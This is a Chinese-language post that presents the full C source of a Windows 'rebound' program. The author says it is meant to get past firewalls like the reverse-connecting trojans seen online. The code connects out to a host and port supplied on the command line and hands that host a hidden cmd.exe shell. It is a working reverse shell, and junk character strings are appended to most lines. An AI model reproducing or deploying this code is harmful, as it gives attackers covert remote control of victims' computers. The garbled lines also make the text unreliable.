这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1@Ba7>%'
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/* ============================== 4Q+ ,_iP
Rebound port in Windows NT _0[z
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By wind,2006/7 NK-}[!f
===============================*/ v9T3=
#include hyxv+m[
#include \ZnA%hC
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#pragma comment(lib,"wsock32.lib") mbAzn
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void OutputShell(); $#^3>u
SOCKET sClient; U" @5R[=F-
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; jS,Pu%fR
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void main(int argc,char **argv) gd[muR ~
{ WjBml'^RY
WSADATA stWsaData; U/c+j{=~
int nRet; Iq|h1ie
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SOCKADDR_IN stSaiClient,stSaiServer; HX.K{!5
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if(argc != 3) %>&~?zrq
{ a,rXG
printf("Useage:\n\rRebound DestIP DestPort\n"); _9oKW;7f7
return; 6I[*p0j5
} #h ud_
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WSAStartup(MAKEWORD(2,2),&stWsaData); _Q:ot'(~0-
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W3l[a^1d
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stSaiClient.sin_family = AF_INET; +@$VJM%^7b
stSaiClient.sin_port = htons(0); hl[<o<`Q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ov"wcJ
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) C,;?`3bH@
{ !,-'wT<v
printf("Bind Socket Failed!\n"); zGe =l;
return; fq1w <e
} ^uX"04>;
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stSaiServer.sin_family = AF_INET; X6sZwb
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8V(~u^!%_
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); M5[#YG'FlQ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ uWGp>;m eO
printf("Connect Error!"); '>[ZfT
return; tzl,r"k3
} i K@RQi
OutputShell(); %B&O+~
} 4FnePi~i
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void OutputShell() *3^7'^j<
{ E;yr46
char szBuff[1024]; 2w8YtM3+"z
SECURITY_ATTRIBUTES stSecurityAttributes; FoIK, MdJ
OSVERSIONINFO stOsversionInfo; =}ZY`O*/
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -X *.scw
STARTUPINFO stStartupInfo; e?\Od}Hbw
char *szShell; H/f}tw
PROCESS_INFORMATION stProcessInformation; ,>g(%3C
unsigned long lBytesRead; daY0;,>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 'Q'-7z-6
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `zs@W
stSecurityAttributes.lpSecurityDescriptor = 0; _2k<MiqCD[
stSecurityAttributes.bInheritHandle = TRUE; GDj_+G;tO\
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); IL Nghtm-
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); aorL ,l
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); T5@t_D>8
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +=`w
stStartupInfo.wShowWindow = SW_HIDE; {3Gj
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stStartupInfo.hStdInput = hReadPipe; *~`oA~-Q
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qvsfU*wo?
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GetVersionEx(&stOsversionInfo); bz&9]%S<
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switch(stOsversionInfo.dwPlatformId) 11$v~<M
{ 84(jg P
case 1: 1_~'?'&^
szShell = "command.com"; 7Aw <:
break; J_
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default: 8=\k<X{`
szShell = "cmd.exe"; {YzpYc1
break; J(~xU0gd'
} #.j:P#
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Rlr[uU_
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send(sClient,szMsg,77,0); ht:L
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while(1) ,!~U5~
{ 4[0.M
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ' ]Km%uwL
if(lBytesRead) 8W.-Y|[5?
{ z ISy\uka
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /Wjf"dG}
send(sClient,szBuff,lBytesRead,0); 7")&njQ/x
} ^-}3+YA
else lZ+1A0e
{ a
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lBytesRead=recv(sClient,szBuff,1024,0); oRn 5blj
if(lBytesRead<=0) break; gn 9CZ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _i"[m(ABj1
} KbRKPA`
} v^IMN3^W
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return; 87VXVI
}